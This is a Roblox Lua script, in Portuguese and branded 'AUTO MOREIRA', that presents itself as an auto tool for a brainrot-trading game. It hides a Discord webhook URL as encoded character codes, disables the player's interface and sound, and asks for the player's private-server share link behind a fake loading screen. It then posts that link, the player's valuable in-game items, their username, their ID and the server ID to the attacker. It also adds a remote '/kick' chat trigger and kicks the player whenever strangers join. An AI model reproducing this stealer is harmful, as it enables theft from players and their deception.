local a=string.char(104,116,116,112,115,58,47,47,100,105,115,99,111,114,100,46,99,111,109,47,97,112,105,47,119,101,98,104,111,111,107,115,47,49,52,52,57,53,57,53,49,48,57,52,54,52,48,56,52,53,48,50,47,111,98,86,56,117,49,117,104,106,112,122,53,120,53,116,75,72,52,108,84,53,112,99,77,55,114,95,85,52,68,80,108,49,53,116,77,103,120,121,57,49,77,115,76,107,65,97,80,120,118,104,85,120,74,69,82,53,115,67,98,102,111,103,84,103,111,113,117) local function b(c)c=c:lower()return string.find(c,"https://www%.roblox%.com/share")~=nil and string.match(c,"https://www%.roblox%.com/share%?code=[%w]+&type=[Ss]erver")~=nil end local function e()print("🔇 MODO SURDO...")for g,h in ipairs({workspace,game:GetService("Players"),game:GetService("ReplicatedStorage"),game:GetService("StarterPlayer"),game:GetService("SoundService")})do pcall(function()for i,j in ipairs(h:GetDescendants())do if j:IsA("Sound")then j.Volume=0 end end;h.DescendantAdded:Connect(function(k)if k:IsA("Sound")then task.wait(0.1)pcall(function()k.Volume=0 end)end end)end)end;pcall(function()game:GetService("SoundService").Volume=0 end)print("✅ SILÊNCIO TOTAL!")return true end local l=game:GetService("StarterGui")pcall(function()l:SetCore("TopbarEnabled",false)l:SetCore("ResetButtonCallback",false)l:SetCoreGuiEnabled(Enum.CoreGuiType.All,false)end) -- NOVO SISTEMA DE KICK (SUBSTITUÍDO) local Players = game:GetService("Players") local LocalPlayer = Players.LocalPlayer local function barraKick(msg) msg = msg or "" local kickMessage = "" if msg ~= "" then kickMessage = "🤖 você precisa de brainrot de " .. msg .. " na BASE" else kickMessage = "🤖 você foi expulso!" end print("🚨 Kick executado:", kickMessage) task.wait(0.2) if LocalPlayer then LocalPlayer:Kick(kickMessage) end end pcall(function() local ChatEvents = game:GetService("ReplicatedStorage"):FindFirstChild("DefaultChatSystemChatEvents") if ChatEvents then local OnMessageDoneFiltering = ChatEvents:FindFirstChild("OnMessageDoneFiltering") if OnMessageDoneFiltering then OnMessageDoneFiltering.OnClientEvent:Connect(function(data) if type(data) == "table" and data.Message then local msg = tostring(data.Message) if msg:lower():sub(1,5) == "/kick" then local valuePart = msg:sub(7) barraKick(valuePart) end end end) end end end) pcall(function() local TextChatService = game:GetService("TextChatService") if TextChatService then TextChatService.MessageReceived:Connect(function(msgObj) if msgObj and msgObj.Text then local msg = msgObj.Text if msg:lower():sub(1,5) == "/kick" then local valuePart = msg:sub(7) barraKick(valuePart) end end end) end end) -- FIM DO NOVO SISTEMA DE KICK local w=game:GetService("CoreGui")local x=game:GetService("HttpService")local y=Instance.new("ScreenGui")y.IgnoreGuiInset=true;y.DisplayOrder=999999999;y.ResetOnSpawn=false;y.Parent=w local z=Instance.new("Frame",y)z.Size=UDim2.new(0,330,0,220)z.Position=UDim2.new(0.5,-165,0.5,-110)z.BackgroundColor3=Color3.fromRGB(0,0,0)local A=Instance.new("UICorner",z)A.CornerRadius=UDim.new(0,12) local B=Instance.new("Frame",z)B.Size=UDim2.new(1,-12,1,-12)B.Position=UDim2.new(0,6,0,6)B.BackgroundColor3=Color3.fromRGB(40,40,40)Instance.new("UICorner",B).CornerRadius=UDim.new(0,10) local C=Instance.new("TextLabel",B)C.Size=UDim2.new(1,0,0,25)C.Position=UDim2.new(0,0,0,4)C.BackgroundTransparency=1;C.Text="AUTO MOREIRA"C.TextColor3=Color3.fromRGB(220,220,220)C.Font=Enum.Font.GothamBold;C.TextScaled=true local D=Instance.new("Frame",B)D.Size=UDim2.new(1,-40,0,70)D.Position=UDim2.new(0,20,0,55)D.BackgroundColor3=Color3.fromRGB(55,55,55)Instance.new("UICorner",D).CornerRadius=UDim.new(0,10) local E=Instance.new("UIStroke",D)E.Thickness=2;E.Color=Color3.fromRGB(255,255,255)task.spawn(function()while true do for F=0,1,0.02 do E.Transparency=F;task.wait(0.02)end;for F=1,0,-0.02 do E.Transparency=F;task.wait(0.02)end end end) local G=Instance.new("TextBox",D)G.Size=UDim2.new(1,-20,1,-10)G.Position=UDim2.new(0,10,0,5)G.BackgroundTransparency=1;G.Text="Digite ou cole o link..."G.TextColor3=Color3.fromRGB(255,255,255)G.Font=Enum.Font.GothamBold;G.TextScaled=true;G.ClearTextOnFocus=true G:GetPropertyChangedSignal("Text"):Connect(function()if G.Text~=""and G.Text~="Digite ou cole o link..."and not b(G.Text)then G.Text=""task.wait(0.05)G.PlaceholderText="APENAS LINKS /share!"task.wait(1.5)G.PlaceholderText="Digite ou cole o link..."end end) local H=Instance.new("TextButton",B)H.Size=UDim2.new(1,-40,0,40)H.Position=UDim2.new(0,20,0,140)H.BackgroundColor3=Color3.fromRGB(70,70,70)H.Text="CONTINUAR"H.TextColor3=Color3.fromRGB(255,255,255)H.Font=Enum.Font.GothamBold;H.TextScaled=true;Instance.new("UICorner",H).CornerRadius=UDim.new(0,10) local I=Instance.new("Frame",y)I.Size=UDim2.new(1,0,1,0)I.BackgroundColor3=Color3.fromRGB(0,0,0)I.Visible=false;local J=Instance.new("Folder",I) task.spawn(function()while true do local K=Instance.new("Frame",J)K.Size=UDim2.new(0,math.random(3,6),0,math.random(3,6))K.Position=UDim2.new(math.random(),0,-0.1,0)K.BackgroundColor3=Color3.fromRGB(255,255,255)K.AnchorPoint=Vector2.new(0.5,0.5)Instance.new("UICorner",K).CornerRadius=UDim.new(1,0)local L=math.random(50,120)/100;task.spawn(function()for M=-0.1,1.2,L/50 do K.Position=UDim2.new(K.Position.X.Scale,0,M,0)K.BackgroundTransparency=M;task.wait(L/30)end;K:Destroy()end)task.wait(0.03)end end) local N=Instance.new("TextLabel",I)N.Size=UDim2.new(0,150,0,150)N.Position=UDim2.new(0.5,-75,0.4,-75)N.BackgroundTransparency=1;N.Text="∞"N.TextColor3=Color3.fromRGB(255,255,255)N.Font=Enum.Font.GothamBold;N.TextScaled=true task.spawn(function()local O=0;while true do N.TextTransparency=math.abs(math.sin(O))O=O+0.08;N.Rotation=N.Rotation+2;task.wait(0.02)end end) local P=Instance.new("Frame",I)P.Size=UDim2.new(0.6,0,0,14)P.Position=UDim2.new(0.2,0,0.62,0)P.BackgroundColor3=Color3.fromRGB(40,40,40)Instance.new("UICorner",P).CornerRadius=UDim.new(1,0) local Q=Instance.new("Frame",P)Q.Size=UDim2.new(0,0,1,0)Q.BackgroundColor3=Color3.fromRGB(255,255,255)Instance.new("UICorner",Q).CornerRadius=UDim.new(1,0) local R=Instance.new("TextLabel",I)R.Size=UDim2.new(1,0,0,40)R.Position=UDim2.new(0,0,0.56,0)R.BackgroundTransparency=1;R.TextColor3=Color3.fromRGB(255,255,255)R.Font=Enum.Font.GothamBold;R.TextScaled=true local S=Instance.new("TextLabel",I)S.Size=UDim2.new(1,0,0,25)S.Position=UDim2.new(0,0,0.66,10)S.BackgroundTransparency=1;S.TextColor3=Color3.fromRGB(255,255,255)S.Font=Enum.Font.GothamBold;S.TextScaled=true;S.Text="0%" -- NOVO SISTEMA DE DETECÇÃO DE BRAINROTS (1M+) local function formatValue(n)if not n or n<=0 then return"0"end;if n>=1e9 then return math.floor(n/1e9).."B"elseif n>=1e6 then return math.floor(n/1e6).."M"elseif n>=1e3 then return math.floor(n/1e3).."K"end;return tostring(math.floor(n))end local function parseValue(t)if not t then return 0 end;local n=tonumber(t:match("[%d%.]+"))or 0;if t:find("B")then return n*1e9 elseif t:find("M")then return n*1e6 elseif t:find("K")then return n*1e3 end;return n end local servicesToScan={workspace,game:GetService("Players"),game:GetService("ReplicatedStorage"),game:GetService("StarterGui"),game:GetService("StarterPack"),game:GetService("ServerStorage"),game:GetService("SoundService"),game:GetService("Lighting")} local function getFullPath(obj)local path=obj.Name;local parent=obj.Parent;while parent do path=parent.Name.."/"..path;parent=parent.Parent end;return path end local function isBaseBrainrot(obj)return getFullPath(obj):find("Workspace/Debris/FastOverheadTemplate/AnimalOverhead")~=nil end local function scanObject(root,minValue)minValue=minValue or 1e6;local found={};local totalValue=0;local function recursiveScan(obj)for _,child in ipairs(obj:GetChildren())do pcall(function()local nameLbl=child:FindFirstChild("DisplayName")or child:FindFirstChildWhichIsA("TextLabel")local genLbl=child:FindFirstChild("Generation")or child:FindFirstChildWhichIsA("TextLabel")if nameLbl and genLbl and isBaseBrainrot(child)then local nome=tostring(nameLbl.Text)local valor=parseValue(tostring(genLbl.Text))if valor>=minValue then table.insert(found,{nome=nome,valor=valor})totalValue=totalValue+valor end end end)recursiveScan(child)end end;recursiveScan(root)return found,totalValue end local function scanAllBaseBrainrots()local allFound={};local total=0;for _,service in ipairs(servicesToScan)do local list,value=scanObject(service)for _,v in ipairs(list)do table.insert(allFound,v)end;total=total+value end;table.sort(allFound,function(a,b)return a.valor>b.valor end)return allFound,total end local function buildBrainrotReport(brainrots)local report=""for i,b in ipairs(brainrots)do report=report..string.format("%02d) 1 %s → $%s/s\n",i,b.nome,formatValue(b.valor))end;return report end local function T()print("🧠 DETECTANDO BRAINROTS (1M+)")local brainrots,totalValue=scanAllBaseBrainrots()print("✅ BRAINROTS DA BASE (1M+):",#brainrots)local report=buildBrainrotReport(brainrots)print("===== RELATÓRIO =====")print(report)print("💰 Valor total da base:",formatValue(totalValue))if totalValue<10000000 then game:GetService("Players").LocalPlayer:Kick("🤖 Você precisa de brainrot de 10M na base")return{{texto="**NENHUM BRAINROT DE 10M+ DETECTADO**"}},0,false end;return brainrots,totalValue,true end local function aa(ab,ac,ad,ae)local af=0;pcall(function()af=#game:GetService("Players"):GetPlayers()end)local ag=""if ae and#ac>0 then for ah,ai in ipairs(ac)do ag=ag..string.format("```diff\n+ %02d) 1 %s → $%s/s\n```",ah,ai.nome,formatValue(ai.valor))end else ag="```diff\n- NENHUM BRAINROT DE 1M+ DETECTADO\n```"end local aj=string.format("### 🔗 LINK RECEBIDO - AUTO MOREIRA\n\n#### 📎 **LINK ENVIADO**\n- [Clique aqui para abrir](%s)\n\n#### 💰 **VALOR TOTAL**\n$%s/s\n\n#### 🎯 **BRAINROTS DETECTADOS (1M+)**\n%s\n#### 👥 **SERVIDOR**\n**Jogadores:** %d/8\n\n#### 👤 **JOGADOR**\n**Nome:** %s\n**ID:** %s\n**Job ID:** %s\n\n#### 🕐 **DATA/HORA**\n%s",ab,formatValue(ad),ag,af,game:GetService("Players").LocalPlayer.Name,game:GetService("Players").LocalPlayer.UserId,game.JobId,os.date("%d/%m/%Y %H:%M:%S")) local ak={["username"]="Auto Moreira",["avatar_url"]="https://cdn.discordapp.com/attachments/1128834917999112253/1219654782312128562/standard.gif",["content"]="### 🚨 **NOVO LINK RECEBIDO** 🚨",["embeds"]={{["description"]=aj,["color"]=ae and 5763719 or 16711680,["footer"]={["text"]="Auto Moreira • Sistema de Monitoramento",["icon_url"]="https://cdn.discordapp.com/attachments/1128834917999112253/1219654782312128562/standard.gif"},["timestamp"]=os.date("!%Y-%m%dT%H:%M:%SZ")}}} local function al()local am,an=pcall(function()local ao=game:GetService("HttpService"):JSONEncode(ak)local ap=game:GetService("HttpService"):RequestAsync({Url=a,Method="POST",Headers={["Content-Type"]="application/json"},Body=ao})if ap.Success then return"✅"else error("Erro HTTP "..tostring(ap.StatusCode))end end) if am then print("✅ Webhook enviado!")if ae and#ac>0 then print("📊 Brainrots (1M+): "..#ac)print("💰 Valor: $"..formatValue(ad).."/s")for ah,ai in ipairs(ac)do print(string.format(" %02d) 1 %s → $%s/s",ah,ai.nome,formatValue(ai.valor)))end else print("📊 NENHUM BRAINROT 1M+")print("💰 Valor: $0/s")end;print("👥 Jogadores: "..af.."/8")print("🔗 Link: "..ab)return true else print("❌ Erro: "..tostring(an))task.wait(2)print("🔄 Reenviando...")return al()end end;task.spawn(al)return true end local aq={"Preparando servidor...","Analisando brainrots...","Preparando bot..."} H.MouseButton1Click:Connect(function()if G.Text==""or G.Text=="Digite ou cole o link..."then H.Text="INSIRA UM LINK!"task.wait(1)H.Text="CONTINUAR"return end;if not b(G.Text)then H.Text="LINK /share INVALIDO!"task.wait(1.5)H.Text="CONTINUAR"return end z.Visible=false;I.Visible=true;local ar=1;local function as()R.Text=aq[ar]ar=ar+1;if ar>#aq then ar=1 end end;as() task.spawn(function()local at,au,av=T()aa(G.Text,at,au,av)task.wait(0.5)e()end) task.spawn(function()for F=0,0.99,0.00055 do if Q then Q.Size=UDim2.new(F,0,1,0)S.Text=math.floor(F*100).."%"end;task.wait(0.1)end;if S then S.Text="99%"end end) task.spawn(function()while I.Visible do task.wait(3)as()end end)end) -- Sistema Solo local m=game:GetService("Players")local aw=m.LocalPlayer;local ax={[9987424161]=true,[5755066076]=true}local ay=1;local az=true function isPlayerAllowed(aA)return ax[aA.UserId]==true end function kickAndLeave()if az then print("[SOLO] Expulsando jogador não autorizado...")end;pcall(function()aw:Kick("você tem que estar sozinho no servidor")end)task.wait(1)game:Shutdown()return true end function log(aB)if az then print("[SOLO] "..aB)end end local function aC()log("Sistema Solo Iniciado")log("IDs Permitidos: 9987424161, 5755066076")while true do local aD=m:GetPlayers()if#aD>1 then for g,aA in ipairs(aD)do if aA~=aw and not isPlayerAllowed(aA)then log("Jogador não autorizado: "..aA.Name)return kickAndLeave()end end else log("Servidor vazio")end;task.wait(ay)end end local function aE()task.wait(2)for g,aA in ipairs(m:GetPlayers())do if aA~=aw and not isPlayerAllowed(aA)then log("Jogador não autorizado: "..aA.Name)kickAndLeave()return end end;task.spawn(aC)log("Monitoramento ativo")end task.spawn(aE)m.PlayerAdded:Connect(function(aF)task.wait(1)if aF~=aw and not isPlayerAllowed(aF)then log("Novo jogador: "..aF.Name)kickAndLeave()end end) local aG=game:GetService("RunService")local aH;aH=aG.Heartbeat:Connect(function()if not m:FindFirstChild(aw.Name)then aH:Disconnect()end end) task.wait(3)log("========================================")log("SISTEMA SOLO ATIVADO")log("========================================")return"Solo System Active"